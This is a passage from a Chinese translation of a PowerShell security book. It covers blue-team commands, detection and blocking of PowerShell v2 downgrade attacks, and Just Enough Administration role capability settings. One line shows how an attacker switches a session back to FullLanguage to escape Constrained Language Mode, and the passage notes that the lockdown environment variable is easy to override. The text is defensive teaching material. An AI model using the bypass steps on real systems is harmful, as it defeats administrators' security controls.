你可以使用 Get-AuthenticodeSignature cmdlet 来检查数字签名的状态:

> Get-AuthenticodeSignature "C:\Windows\notepad.exe" | Format-List

使用 Get-AuthenticodeSignature,你可以获取有关数字签名的各种有用信息,例如证书链,下面的截图展示了这一点:

图 9.2 – 查询文件的数字签名信息

图 9.2 – 查询文件的数字签名信息

然而,如果你仅想查询状态,也可以使用 (Get-AuthenticodeSignature "****C:\Windows\notepad.exe").Status 命令。

检查文件和文件夹的权限

你想列举文件和文件夹的访问权限。

解决方案

要列举文件和文件夹的访问权限,你可以使用 Get-ChildItemGet-Acl cmdlet。例如,要递归列举 Windows Defender 目录中的所有文件和文件夹,可以使用以下代码片段:

$directory = "C:\Program Files\Windows Defender"
$Acls = Get-ChildItem -Path $directory -Recurse | ForEach-Object {
    $fileName = $_.FullName
    (Get-Acl $_.FullName).Access | ForEach-Object {
        [PSCustomObject]@{
            FileName = $fileName
            FileSystemRights = $_.FileSystemRights
            AccessControlType = $_.AccessControlType
            IdentityReference = $_.IdentityReference
            IsInherited = $_.IsInherited
        }
    }
}
$Acls

如果你只想列举一级,请确保移除 -Recurse 参数。

显示所有正在运行的服务

你想显示所有正在运行的服务及其命令路径。

解决方案

尽管你可以使用Get-Service cmdlet 来显示所有正在运行的服务,你也可以使用Get-CimInstance来访问服务的 WMI 信息,并获得更多的信息,如命令路径或ProcessId

> Get-CimInstance win32_service | Where-Object State -eq "Running" | Select-Object ProcessId, Name, DisplayName, PathName | Sort-Object Name | fl

停止服务

你想要停止一个正在运行的服务。

解决方案

要停止一个正在运行的服务,你可以使用Stop-Service cmdlet。以下示例展示了如何将Get-ServiceStop-Service结合使用,以停止maliciousService服务:

> Get-Service -Name "maliciousService" | Stop-Service -Force -Confirm:$false -verbose

请记住,如果你使用-Confirm:$false参数,确认提示将被绕过,命令将在没有任何进一步确认的情况下执行。建议在使用此参数时要小心,并且仅在你完全意识到潜在风险和后果的情况下使用。了解使用此参数的影响非常重要,并根据你的具体用例做出明智的决定。

显示所有进程

你想显示所有进程,包括它们的所有者和命令行。

解决方案

你可以使用Get-WmiObject win32_process来显示所有进程及其更多信息。要显示所有进程,包括它们的所有者和命令行,你可以使用以下代码片段:

> Get-WmiObject win32_process | Select ProcessID,Name,@{n='Owner';e={$_.GetOwner().User}},CommandLine | Sort-Object Name | ft -wrap -autosize

停止进程

你想要停止一个进程。

解决方案

要停止一个进程,你可以使用Stop-Process cmdlet。比如,要停止Id 8336的进程,你可以使用以下代码片段:

> Get-Process -Id 8336 | Stop-Process -Force -Confirm:$false -verbose

当然,你也可以通过Get-Process cmdlet 的-Name参数按名称选择一个进程来停止它。如果有多个同名进程,可能会停止多个进程。

请记住,如果你使用-Confirm:$false参数,确认提示将被绕过,命令将在没有任何进一步确认的情况下执行。建议在使用此参数时要小心,并且仅在你完全意识到潜在风险和后果的情况下使用。了解使用此参数的影响非常重要,并根据你的具体用例做出明智的决定。

禁用本地账户

你想禁用一个本地账户。

解决方案

要禁用本地账户,你可以使用Disable-LocalUser cmdlet。

提高 Windows 安全性的一种方法是创建一个具有管理员权限的新用户,并禁用默认的Administrator账户。这有助于防止通常针对默认账户进行的暴力破解攻击。为了实现这一点,你可以使用Disable-LocalUser cmdlet。

这是一个示例,展示了如何使用Disable-LocalUser cmdlet 禁用Administrator账户:

> Disable-LocalUser -Name "Administrator"

运行命令后,你可以使用Get-LocalUser cmdlet 来验证账户是否已被禁用:

> Get-LocalUser -Name "Administrator"

启用本地账户

你想启用一个本地账户。

解决方案

要启用本地账户,你可以使用Enable-LocalUser cmdlet。使用以下示例,Administrator账户将被启用:

> Enable-LocalUser -Name "Administrator"

使用Get-LocalUser cmdlet,你可以验证该账户是否已启用:

> Get-LocalUser -Name "Administrator"

禁用域账户

你想禁用一个域账户。

解决方案

要禁用域账户,你可以使用Disable-ADAccount cmdlet,它是ActiveDirectory模块的一部分。使用以下示例,vvega域账户将被禁用:

> Import-Module ActiveDirectory
> Disable-ADAccount -Identity "vvega"

使用Get-ADUser cmdlet,你可以验证该账户是否已禁用:

> (Get-ADUser -Identity vvega).enabled

启用域账户

你想启用一个域账户。

解决方案

要启用域账户,你可以使用Enable-ADAccount cmdlet,它是ActiveDirectory模块的一部分。使用以下示例,vvega域账户将被启用:

> Import-Module ActiveDirectory
> Enable-ADAccount -Identity "vvega"

使用Get-ADUser cmdlet,你可以验证该账户是否已禁用:

> (Get-ADUser -Identity vvega).enabled

获取所有最近创建的域用户

你想获取最近创建的所有域用户。

解决方案

要获取过去 30 天内创建的所有用户,你可以使用以下代码片段:

Import-Module ActiveDirectory
$timestamp = ((Get-Date).AddDays(-30)).Date
Get-ADUser -Filter {whenCreated -ge $timestamp} -Properties whenCreated | Sort-Object whenCreated -descending

检查特定端口是否开放

你想检查远程系统的特定端口是否开放。

解决方案

要检查特定端口是否开放,你可以使用以下代码片段;此示例检查计算机DC01上的端口445是否开放:

$result = Test-NetConnection -ComputerName DC01 -Port 445
$result
$result.TcpTestSucceeded

以下截图显示了前面代码片段的输出:

图 9.3 – 检查 DC01 上的 445 端口是否开放

图 9.3 – 检查 DC01 上的 445 端口是否开放

这种方法是测试单个端口或极少数端口的好方法,因为Test-NetConnection cmdlet 在进行完整端口扫描时可能非常耗时。因此,如果你想扫描远程系统的所有端口,应该改用nmap

显示 TCP 连接及其启动进程

你想显示所有 TCP 连接、启动进程,以及用于打开 TCP 连接的命令行。

解决方案

你可以使用Get-NetTCPConnection并通过使用Get-ProcessGet-WmiObject作为Select-Object表达式来创建手动属性:

> Get-NetTCPConnection | Select-Object LocalAddress,LocalPort,RemoteAddress,RemotePort,State,@{Label = 'ProcessName';Expression={(Get-Process -Id $_.OwningProcess).Name}}, @{Label="CommandLine";Expression={(Get-WmiObject Win32_Process -filter "ProcessId = $($_.OwningProcess)").CommandLine}} | ft -Wrap -AutoSize

这个示例显示了所有 TCP 连接、当地地址和端口、远程地址和端口、连接状态、进程名称,以及启动连接的命令行。

显示 UDP 连接及其启动进程

你想显示所有 UDP 连接、启动进程,以及用于打开 UDP 连接的命令行。

解决方案

你可以使用Get-NetUDPConnection并通过使用Get-ProcessGet-WmiObject作为Select-Object表达式来创建手动属性:

> Get-NetUDPEndpoint | Select-Object CreationTime,LocalAddress,LocalPort,@{Label = 'ProcessName';Expression={(Get-Process -Id $_.OwningProcess).Name}}, @{Label="CommandLine";Expression={(Get-WmiObject Win32_Process -filter "ProcessId = $($_.OwningProcess)").CommandLine}} | ft -Wrap -AutoSize

此示例展示了所有 UDP 连接、创建时间、地方地址和端口、进程名称以及执行命令行的连接初始化过程。

使用 Windows 事件日志搜索降级攻击

你希望使用 Windows 事件日志搜索过去的降级攻击。

解决方案

你可以使用以下代码片段,通过 Windows 事件日志搜索过去的降级攻击,这段代码最初由 Lee Holmes 编写:

Get-WinEvent -LogName "Windows PowerShell" | Where-Object Id -eq 400 | Foreach-Object {
        $version = [Version] ($_.Message -replace '(?s).*EngineVersion=([\d\.]+)*.*','$1')
        if($version -lt ([Version] "5.0")) { $_ }
}

在 Windows PowerShell 事件日志中监控400事件 ID。如果EngineVersion低于5,你应该进一步调查,因为这可能表示降级攻击。

防止降级攻击

你希望防止降级攻击发生,因此使用Windows Defender 应用程序控制WDAC)来禁用 PowerShell 版本 2 二进制文件。

解决方案

如果System.Management.Automation.dllSystem.Management.Automation.ni.dll程序集被阻止,即使安装了.NET Framework 版本 2 并启用了 PowerShell 版本 2,PowerShell 版本 2 也无法加载。

使用以下代码片段查找二进制文件的位置并阻止它们,可以使用 WDAC 或你选择的其他应用程序控制软件:

> powershell -version 2 -noprofile -command "(Get-Item ([PSObject].Assembly.Location)).VersionInfo"
> powershell -version 2 -noprofile -command "(Get-Item (Get-Process -id $pid -mo | ? { $_.FileName -match 'System.Management.Automation.ni.dll' } | % { $_.FileName })).VersionInfo"

如果从前面的代码片段中删除-version 2,你会发现其他二进制文件被用于现代 PowerShell 版本。因此,如果你的系统依赖现代 PowerShell 版本,并且想要全局禁止 PowerShell 版本 2 二进制文件,你不必担心会破坏任何东西。

既然你已经找到了 PowerShell 二进制文件的位置,你可以使用 WDAC 来阻止这些旧版本。确保阻止本地映像以及Microsoft 中间语言(****MSIL)程序集。

请参考 Lee Holmes 的博客文章,了解更多关于检测和防止 PowerShell 降级攻击的信息:www.leeholmes.com/detecting-and-preventing-powershell-downgrade-attacks/

总结

本章首先探讨了保护、检测和响应方法,强调了每个支柱的重要性及其在确保组织安全中的作用。

接着,我们提供了常用 PowerShell 工具的全面概述,这些工具对蓝队员防御组织免受安全威胁至关重要。

最后,探讨了蓝队手册,这是一个用于安全分析和防御的脚本和代码片段的集合。该手册涵盖了广泛的任务,包括检查更新、监控绕过、分析事件日志、进程、服务和网络连接。蓝队手册是信息安全从业人员的宝贵资源,提供了针对各种安全挑战的实用解决方案。

现在我们已经讨论了日常蓝队操作,让我们进一步探讨一些可以帮助你在使用 PowerShell 时保护环境的缓解选项。在下一章中,我们将深入探讨语言模式和最低权限 管理JEA)。

进一步阅读

如果你想深入探讨本章提到的某些主题,可以参考以下资源:

)

你还可以在 GitHub 仓库的第九章中找到本章提到的所有链接—无需手动输入每个链接:github.com/PacktPublishing/PowerShell-Automation-and-Scripting-for-Cybersecurity/blob/master/Chapter09/Links.md

第三部分:保护 PowerShell—详细的有效缓解措施

在这一部分,我们将主要集中在帮助您高效保护环境的缓解措施上。然而,尽管我们将重点讲解大量蓝队内容,这一部分同样有助于红队成员了解缓解技术的工作原理,它们包含的风险,以及对手如何尝试开发绕过策略。

首先,我们将探索足够的管理JEA),这是一个帮助将管理任务委派给非管理员用户的功能。虽然这个功能并不广为人知,但它可能是一个改变游戏规则的工具。在这一部分,我们将深入探讨 JEA 及其配置选项,并学习如何简化初始部署。

接下来,我们将探讨代码签名和应用程序控制。您将学习如何规划部署应用程序控制,并在整个过程中,我们将使用微软的应用程序控制解决方案 AppLocker 和Windows Defender 应用程序控制WDAC)。您将熟悉这些解决方案的配置和审计方式。您还将了解到,当配置应用程序控制时,PowerShell 将会发生哪些变化。

深入了解反恶意软件扫描接口AMSI)—了解它的工作原理以及它在对抗恶意软件中的重要性。我们还将探讨对手如何通过替代或混淆恶意代码来绕过这一有用功能。

许多其他功能可以帮助您降低环境中的风险;因此,在这一部分结束时,我们将简要介绍许多不同的功能,帮助您提高安全防护。我们将研究安全脚本编写、期望状态配置、系统和环境的加固策略,以及利用端点检测与响应EDR)软件进行攻击检测。我们不会在最后一部分深入探讨,您完全可以进一步探索一些提到的功能,了解更多信息,并可能将其应用到您的环境中。

本部分包括以下章节:

  • 第十章语言模式与足够的管理(JEA)

  • 第十一章AppLocker、应用程序控制和代码签名

  • 第十二章探索反恶意软件扫描接口(AMSI)

  • 第十三章还有什么?—进一步的缓解措施与资源

第十章:语言模式和仅足够管理(JEA)

我们已经学习了 PowerShell 提供的出色日志记录和审计功能,探索了如何访问本地系统以及 Active Directory 和 Azure Active Directory。我们还查看了日常的红队和蓝队任务。在本书的这一部分,我们将更深入地探讨缓解功能以及 PowerShell 如何帮助你构建一个强大且更安全的环境。

我们将首先探讨语言模式,理解受限语言模式和仅足够管理JEA)之间的区别。然后,我们将深入了解 JEA,并探索配置你自己的第一个 JEA 端点所需的内容。

你将学习角色能力和会话配置文件的作用,并学习如何在你的环境中部署 JEA。如果你手头有合适的工具,比如 JEAnalyzer,创建初始的 JEA 配置并不困难。

最后,你将理解如何在使用 JEA 时充分利用日志记录,并了解应该避免哪些风险命令或绕过方法,以强化你的 JEA 配置和环境。

在本章中,你将深入了解以下主题:

  • PowerShell 中的语言模式是什么?

  • 理解 JEA

  • 使用 JEAnalyzer 简化你的部署

  • 在 JEA 会话中的日志记录

  • 最佳实践—避免风险和可能的绕过

技术要求

为了最大化本章的学习效果,请确保你具备以下内容:

  • PowerShell 7.3 及以上版本

  • 已安装 Visual Studio Code

  • 访问第十章的 GitHub 仓库:

github.com/PacktPublishing/PowerShell-Automation-and-Scripting-for-Cybersecurity/tree/master/Chapter10

PowerShell 中的语言模式是什么?

PowerShell 中的语言模式决定了会话中允许使用哪些 PowerShell 元素。你可以通过运行$ExecutionContext.SessionState.LanguageMode来查看当前会话的语言模式——当然,这只有在你被允许运行该命令时才有效:

图 10.1 – 查询语言模式

图 10.1 – 查询语言模式

在截图中显示的示例中,当前会话启用了完整语言模式。

有四种不同的语言模式可供选择,我们将在接下来的章节中更深入地探讨这些模式。

完整语言(FullLanguage)

完整语言模式是 PowerShell 的默认模式,所有命令和元素都被允许。

用户可能遇到的唯一限制是,如果他们没有足够的 Windows 权限来运行某个命令(例如管理员权限),但这种行为不受语言模式的限制。

受限语言(RestrictedLanguage)

受限语言模式是一种数据特定形式的 PowerShell 语言,主要用于支持 Import-LocalizedData 使用的本地化文件。虽然在此模式下可以执行 cmdlet 和函数,但不允许运行脚本块。需要注意的是,受限语言模式并不打算在大多数场景中显式使用,应仅在处理本地化文件时使用。

并且从 PowerShell 7.2 开始,如果配置了系统锁定模式,New-Object cmdlet 会被禁用。

默认情况下仅允许以下变量:

  • $****True

  • $****False

  • $****Null

  • $****PSCulture

  • $****PSUICulture

默认情况下仅允许以下运算符:

  • -****eq

  • -****gt

  • -****lt

请参阅 第二章PowerShell 脚本基础,以了解更多关于运算符的详细信息。

无语言模式 (NoLanguage)

“无语言模式”只能通过 API 使用,并且不允许任何类型的脚本。

类似于受限语言模式,从 PowerShell 7.2 开始,如果配置了系统锁定模式,New-Object cmdlet 会被禁用。

受限语言模式 (ConstrainedLanguage)

正如我们在本书的 第五章 中学到的,PowerShell 的强大—系统和 API 访问,滥用 PowerShell 的最危险方式之一是滥用 COM 或 .NET,或者使用 Add-Type 来运行和复用用其他语言(如 C#)编写的代码。

受限语言模式防止了这些危险的场景,同时仍然允许用户使用合法的 .NET 类以及所有 cmdlet 和 PowerShell 元素。它旨在支持日常的管理任务,但限制用户执行风险较大的操作,例如调用任意 API:

图 10.2 – 在受限语言模式下,无法运行来自任意 API 的函数

图 10.2 – 在受限语言模式下,无法运行来自任意 API 的函数

要配置测试语言模式,可以通过命令行简单设置:

> $ExecutionContext.SessionState.LanguageMode = "ConstrainedLanguage"

在生产环境中使用此设置并不推荐——如果对手获得系统访问权限,他们可以轻易更改此设置,从而危及系统安全:

> $ExecutionContext.SessionState.LanguageMode = "FullLanguage".

还有一个未记录的 __PSLockDownPolicy 环境变量,一些博客推荐使用它。然而,这个变量仅用于调试和单元测试,不应用于强制执行,因为同样的原因:攻击者可以轻松覆盖它,且它应仅用于测试。

为了有效地使用受限语言模式来保护 PowerShell 环境,关键是与强大的应用控制解决方案(如 Windows Defender 应用控制WDAC))结合使用:

docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/select-types-of-rules-to-create

如果没有采取这些措施,攻击者可以轻松绕过受限语言模式,通过使用其他脚本引擎或创建自定义恶意软件(如 .exe.dll 文件)来实现。

我们还将在第十一章中进一步探讨 AppLocker 和应用程序控制,AppLocker、应用程序控制和 代码签名

请务必参考 PowerShell 团队关于受限语言模式的博客文章:

devblogs.microsoft.com/powershell/powershell-constrained-language-mode/

受限语言模式是一个很好的选择,但如果能够进一步限制会话中或特定用户允许哪些具体命令和参数,那不是更好吗?这正是 JEA 的作用所在。

理解 JEA

JEA 完全符合其名称的含义:它允许你定义哪些角色可以执行哪些命令,并只授予足够的管理权限。

假设你有多个人在同一服务器系统上工作:可能有管理员和支持人员,他们可能需要执行某些操作,比如不时重启一个服务(例如,在打印服务器上重启打印缓冲服务)。这类操作需要管理员权限,但对支持人员来说,管理员账户意味着过多的权限——如果支持人员的凭证被窃取,这些权限可能会被攻击者滥用。

使用 JEA,系统管理员可以定义某个角色可以执行哪些命令,甚至可以限制参数。因此,支持人员可以通过 PowerShell Remoting** (PSRemoting**) 登录,快速重启打印缓冲服务,并返回到他们的日常工作中。除了配置的命令,无法使用其他任何命令。

此外,JEA 依赖于 PSRemoting,这也是避免在目标系统上留下凭证的一个好方法。甚至可以配置在目标系统上使用虚拟账户代表操作人员。一旦会话终止,虚拟账户将被销毁,无法再使用。

JEA 概述

JEA 依赖于 PSRemoting:一种让你能够远程连接到定义的端点的技术,我们在第三章中进一步探讨了这一点,探索 PowerShell 远程管理技术和 PowerShell Remoting

有两个重要文件需要配置 JEA 基础设置——角色能力文件会话配置文件。在 PSRemoting 会话中使用这两个文件,JEA 才能发挥其作用。

当然,你还需要限制所有其他访问方式(如通过远程桌面)到目标服务器,以防止用户绕过你的 JEA 限制。

下图展示了 JEA 连接的工作原理概述:

图 10.3 – 如何连接到 JEA 的高级概述

图 10.3 – 如何连接到 JEA 的高级概述

使用 JEA 甚至可以允许非管理员用户访问服务器,执行为该用户角色预定义的管理任务。

根据配置,虚拟帐户可以代表用户使用,从而允许非管理员的远程用户完成需要管理员权限的任务。别担心;当然,在虚拟帐户下执行的每个命令都会被记录,并可以追溯到原始用户。

你可能听说过很多关于 PSRemoting 会话的内容,但在这幅图中,你能找到 JEA 吗?

一切从启动与远程服务器的交互式会话开始——例如,使用 Enter-PSSession

你也可以将会话选项添加到会话中——这是你能找到 JEA 的地方吗?不,但会话选项在你不想连接到普通 PowerShell 会话时非常有用。例如,如果你需要连接到一个代理,-SessionOption 可以帮助你识别这些细节。

会话选项非常有用,但它们不属于本章内容。所以,如果你想了解更多关于它们的信息,请参考 New-PSSessionOption cmdlet 提供的选项:

docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/new-pssessionoption

然后,你可以选择使用 -ConfigurationName 参数将配置添加到会话中。这是 JEA 隐藏的地方吗?差不多,但我们还没到那里。你可以在下面的图中看到选项、配置和 JEA 最终适配的位置:

图 10.4 – JEA 所在位置

图 10.4 – JEA 所在位置

JEA 真正发挥作用的地方是在配置中,其中创建了角色定义。因此,JEA 是建立的会话的一部分,通过 安全描述符定义语言SDDL)保护,并包含特定的角色定义。SDDL 定义了用户或组对资源访问的权限。

JEA 规划

在使用 JEA 之前,有几个事项需要先考虑。JEA 已包含在 PowerShell 5.0 中,因此请确保安装了正确的版本(5.0 或更高版本)。你可以使用 $PSVersionTable.PSVersion 检查当前版本。

由于 JEA 依赖于 PSRemoting 和 WinRM,请确保两者都已配置并启用。有关更多细节,请参见 第三章探索 PowerShell 远程管理技术和 PowerShell 远程连接

你还需要具有系统的管理员权限,才能配置 JEA。

不仅需要安装正确的 PowerShell 版本,还需要安装正确的操作系统版本。以下截图显示了服务器操作系统的所有支持版本,以及确保 JEA 正常运行所需采取的步骤:

图 10.5 – 服务器操作系统的 JEA 支持性

图 10.5 – 服务器操作系统的 JEA 支持性

JEA 也可以在客户端操作系统上使用。以下截图显示了每个版本的可用功能以及在每个操作系统上使 JEA 运行所需的步骤:

图 10.6 – 客户端操作系统的 JEA 支持性

图 10.6 – 客户端操作系统的 JEA 支持性

最后,你需要确定要限制的用户和/或组,以及每个用户应该拥有的权限。这听起来可能有些挑战。在本章中,你将找到一些有用的技巧和工具,帮助你完成这项任务。

但在我们深入探讨之前,让我们先了解一下 JEA 包含了哪些内容。首先,JEA 背后有两个主要文件,如下所示:

  • 角色能力文件

  • 会话配置文件

让我们首先探索一下角色能力文件是什么,以及如何配置它。

角色能力文件

角色能力文件决定了每个角色可以运行哪些命令。你可以指定特定角色中的用户可以执行哪些操作,并将这些角色限制为仅使用某些 cmdlet、函数、提供程序和外部程序。

通常会为某些角色定义角色能力文件——例如打印服务器管理员、DNS 管理员、一级帮助台等。由于角色能力文件可以作为 PowerShell 模块的一部分进行实现,因此你可以轻松地与他人共享它们。

使用New-PSRoleCapabilityFile,你可以创建你的第一个骨架 JEA 角色能力文件:

> New-PSRoleCapabilityFile -Path .\Support.psrc

一个名为Support.psrc的空文件被创建,并预填充了可以填写和编辑的参数:

图 10.7 – 一个空的骨架角色能力文件

图 10.7 – 一个空的骨架角色能力文件

在选择角色能力文件的名称时,请确保它反映了实际角色的名称——因此,请小心选择每个文件的名称。在我们的示例中,我们创建了Support.psrc角色能力文件,这是配置支持角色的一个很好的起点。

你可以在本书的 GitHub 仓库中找到一个未配置的生成骨架文件:

github.com/PacktPublishing/PowerShell-Automation-and-Scripting-for-Cybersecurity/blob/master/Chapter10/JEA_SkeletonRoleCapabilityFile.psrc

允许 PowerShell cmdlet 和函数

让我们从一个简单的角色能力文件例子开始。假设你是一个组织的管理员,帮助台报告了打印服务器的常见问题。那么,一个解决方案是给予帮助台管理员权限,允许他们操作所有打印服务器,但这会给所有帮助台员工过多的权限,并可能使你的环境面临风险。

因此,你可能只想赋予帮助台员工在打印服务器上重启服务的权限。

你可能听说过Restart-Service,它正是用于这个目的:重启服务。但它是一个cmdlet还是一个function?还是一个alias

如果你对某个命令不确定,Get-Command cmdlet 可以帮助你查找更多信息:

图 10.8 – 使用 Get-Command 查找命令类型

图 10.8 – 使用 Get-Command 查找命令类型

借助Get-Command,我们现在知道Restart-Service是一个cmdlet,我们可以继续配置它。如果你查看生成的骨架.psrc文件,你可以看到多个以Visible开头的部分。通过这些部分,你可以定义在你的 JEA 会话中将提供哪些内容。你可以在角色能力文件中配置的所有参数与New-PSRoleCapabilityFile cmdlet 提供的参数一致:

> New-PSRoleCapabilityFile -Path <path> -ParameterName <values>

例如,如果你想配置一个简单的 JEA 配置并只允许Restart-Service cmdlet 可用,你可以使用以下命令:

> New-PSRoleCapabilityFile -Path .\Support.psrc -VisibleCmdlets 'Restart-Service'

在这个例子中,我们使用-VisibleCmdlets参数将Restart-Service cmdlet 配置为在Support角色中可用,所以让我们更仔细地看看使用此配置选项时可以做什么。

VisibleCmdlets

使用-VisibleCmdlets参数来定义哪些cmdlet是可见的,并且可以被配置的角色使用。所有定义的 cmdlet 需要在目标系统上可用,以避免错误。

创建了Support.psrc角色能力文件后,你也可以直接使用你选择的文本编辑器编辑它。你不仅可以在创建角色能力文件时使用-VisibleCmdlets参数,还可以在角色能力文件中直接配置此选项。

如果你只想配置 cmdlet,而不限制其参数,你可以将它们放入单引号中,并用逗号分隔。在这个例子中,配置的角色将能够重启服务以及重启计算机:

VisibleCmdlets = 'Restart-Service', 'Restart-Computer'

在使用通配符配置 cmdlet 时,必须意识到可能涉及的风险。虽然使用通配符来允许一系列命令看似方便,但你可能无意中授予了比必要更多的权限,从而在你的设置中创建了漏洞。使用以下命令时,该角色将能够运行所有以Get-开头的命令:

VisibleCmdlets = 'Get-*'

但是,允许一个角色使用所有以 Get- 开头的命令也可能会通过 Get-Content cmdlet 暴露敏感信息,即使这并不是该角色的预期用途。因此,仔细考虑允许的命令并定期审查和调整权限是非常重要的,以维护系统的安全性。

为了限制 cmdlet 的参数,你可以构建简单的哈希表,如下所示:

VisibleCmdlets = @{ Name = 'Restart-Service'; Parameters = @{ Name = 'Name'; ValidateSet = 'Dns', 'Spooler' }},
@{ Name = 'Restart-Computer'; Parameters = @{ Name = 'Name'; ValidateSet = 'Confirm', 'Delay', 'Force', 'Timeout' }}
@{ Name = 'Get-ChildItem'; Parameters = @{ Name = 'Path';  ValidatePattern = '^C:\\Users\\[^\\]+$' }}

使用前面的示例,配置的角色将允许执行三条命令:第一条允许的 cmdlet 是 Restart-Service,但是这个角色只允许重新启动 dnsspooler 服务。第二条允许的 cmdlet 授权角色也可以重启计算机,但仅能使用 -Confirm-Delay-Force-Timeout 参数。最后,但同样重要的是,第三条允许的 cmdlet 是 Get-ChildItem,但根据 ValidatePattern 中指定的配置,拥有该角色的用户只能查询 C:\Users 路径下的子文件夹。

VisibleFunctions

VisibleFunctions 定义了哪些函数是可见的,并且可以被配置的角色使用。所有定义的函数需要在目标系统上可用,或者在当前角色能力文件的 FunctionDefinitions 部分定义,以避免错误。

函数的定义方式类似于 cmdlet:

VisibleFunctions = 'Restart-NetAdapter'

这个示例将允许 Restart-NetAdapter 函数;如果执行该函数,它会通过禁用并重新启用网络适配器来重新启动网络适配器。

对于函数,你也可以使用哈希表来定义更复杂的限制和通配符,这些也类似于 cmdlet —— 这些仍然需要非常小心地使用。

VisibleAliases

VisibleAliases 定义了哪些别名是可见的,并且可以被配置的角色使用。所有定义的别名需要在目标系统上可用,或者在当前角色能力文件的 AliasDefinitions 部分定义,以避免错误:

VisibleAliases = 'cd', 'ls'

这个示例将允许 cd 别名使用 Set-Location cmdlet,ls 别名使用 Get-ChildItem cmdlet。

别名的配置方式与在角色能力文件中的 cmdlet 和函数类似。有关更多示例,请参阅这些部分(VisibleCmdletsVisibleFunctions)。

VisibleExternalCommands

VisibleExternalCommands 定义了哪些传统的 Windows 可执行文件是可见的,并且可以被配置的角色使用。所有定义的外部命令需要在目标系统上可用,以避免错误。外部命令的示例包括独立的可执行文件或已安装的程序。始终测试你的配置,确保所有的依赖项都已被配置考虑。

使用此设置,你可以允许外部命令和 PowerShell 脚本。使用以下示例,你将允许一个名为putty.exe的可执行文件,该文件位于C:\tmp\putty.exe,以及一个名为myOwnScript.ps1的 PowerShell 脚本,该脚本位于C:\scripts\myOwnScript.ps1

VisibleExternalCommands = 'C:\tmp\putty.exe', 'C:\scripts\myOwnScript.ps1'

确保你已彻底审查并测试了你将暴露的脚本,并且已经实施了适当的措施以防止未经授权的篡改。如果你暴露的是脚本或可执行文件,务必确保你对它有完全的控制,并且确信它不会危及你的配置。

VisibleProviders

默认情况下,在 JEA 会话中没有可用的 PowerShell 提供程序,但通过使用VisibleProviders,你可以定义哪些提供程序是可见的,并且可以由配置的角色使用。所有定义的提供程序需要在目标系统上可用,以避免出现错误。

要获取提供程序的完整列表,可以运行Get-PSProvider,如以下截图所示:

图 10.9 – 获取可用提供程序的完整列表

图 10.9 – 获取可用提供程序的完整列表

例如,如果你希望使Registry提供程序可用,并且随之也使其HKEY_LOCAL_MACHINEHKLM)和HKEY_CURRENT_USERHKCU)驱动器可用,配置将如下所示:

VisibleProviders = 'Registry'

仅在角色确实需要时才使提供程序可用。如果此角色不经常与注册表操作,考虑编写脚本或函数来代替,如果该任务是可重复的。

ModulesToImport

使用ModulesToImport参数,你可以定义当前会话中将要导入的模块。请注意,模块必须事先安装,才能导入。

ModulesToImport = @{ModuleName='EventList'; ModuleVersion='2.0.2'}

同样,你可以使用哈希表来指定更多详细信息。前面的示例将导入版本为2.0.2EventList模块。请确保使用VisibleFunctions和/或VisibleCmdlets来限制此会话中可以使用的函数或 cmdlet。

ScriptsToProcess

指定的脚本文件将在会话建立后执行,类似于启动脚本。脚本的路径需要定义为完整路径或绝对路径。

ScriptsToProcess 参数允许你将已配置的脚本添加到该角色的 JEA 会话中,然后在会话的上下文中运行。当然,脚本需要在目标系统上可用。

指定的脚本会在建立与此会话的连接时立即运行:

ScriptsToProcess = 'C:\Scripts\MyScript.ps1'

如果ScriptsToProcess在角色能力文件中为某个角色配置,它仅适用于该角色。如果在会话配置文件中进行配置,则适用于所有与该会话关联的角色。

AliasDefinitions

你可以使用此部分定义在目标系统上未定义且仅在当前 JEA 会话中使用的别名:

AliasDefinitions = @{Name='ipc'; Value='ipconfig'; Description='Displays the Windows IP Configuration'; Options='ReadOnly'}
VisibleAliases = 'ipc'

别忘了还要将别名添加到VisibleAliases中,以使其在会话中可用。

FunctionDefinitions

你可以使用此部分定义目标系统上不可用且仅在当前 JEA 会话中使用的函数。

如果你在FunctionDefinitions中定义了函数,确保在VisibleFunctions部分也进行配置:

VisibleFunctions = 'Restart-PrintSpooler'
FunctionDefinitions = @{
    Name        = 'Restart-PrintSpooler'
    ScriptBlock = {
        if ((Get-Service -Name 'Spooler').Status -eq 'Running') {
            Write-Warning "Attempting to restart Spooler service..."
            Restart-Service -Name 'Spooler'
        }
        else {
            Write-Warning "Attempting to start Spooler service..."
            Start-Service -Name 'Spooler'
        }
    }
}

这个示例创建了一个Restart-PrintSpooler自定义函数,首先检查打印机服务是否正在运行。如果正在运行,它将重新启动;如果没有运行,它将尝试启动。

如果你引用了其他模块,请使用完全限定模块名称FQMN)而不是别名。

与其编写大量自定义函数,不如编写一个 PowerShell 脚本模块并配置VisibleFunctionsModulesToImport

VariableDefinitions

你可以使用此部分定义只在当前 JEA 会话中使用的变量。变量通过哈希表来定义。变量可以静态设置或动态设置:

VariableDefinitions = @{ Name = 'Variable1'; Value = { 'Dynamic' + 'InitialValue' } }, @{ Name = 'Variable2'; Value = 'StaticValue' }

以下代码行是使用VariableDefinitions设置静态变量和动态变量的示例:

VariableDefinitions =@{TestShare1 = '$Env:TEMP\TestShare'; TestShare2 = 'C:\tmp\TestShare'}

这个示例将定义两个变量:第一个变量$TestShare1是动态设置的,指向$Env:TEMP环境变量所指向的位置;第二个变量$TestShare2是静态的,始终指向'C:\tmp\TestShare'

变量也可以配置选项。此参数是可选的,默认值是None。可接受的参数有NoneReadOnlyConstantPrivateAllScope

EnvironmentVariables

你可以使用此部分定义仅在当前 JEA 会话中使用的环境变量。环境变量通过哈希表来定义:

EnvironmentVariables = @{Path= '%SYSTEMROOT%\system32; %SYSTEMROOT%\System32\WindowsPowerShell\v1.0\;C:\Program Files\PowerShell\7\;C:\Program Files\Git\cmd'}

上面的示例会将环境Path变量设置为包含'%SYSTEMROOT%\system32; %SYSTEMROOT%\System32\WindowsPowerShell\v1.0\;C:\Program Files\PowerShell\7\;C:\Program Files\Git\cmd'字符串,从而使像 Windows PowerShell、PowerShell 7 和 Git 等程序能够找到它们的可执行文件并无需提示用户即可运行。

TypesToProcess

你可以使用TypesToProcess来指定应该添加到配置会话中的types.ps1xml文件。类型文件通常指定为.ps1xml文件。使用完整或绝对路径在角色能力文件中定义类型文件:

TypesToProcess = 'C:\tmp\CustomFileTypes.ps1xml'

你可以在官方文档中找到关于类型文件的更多信息:

docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_types.ps1xml

FormatsToProcess

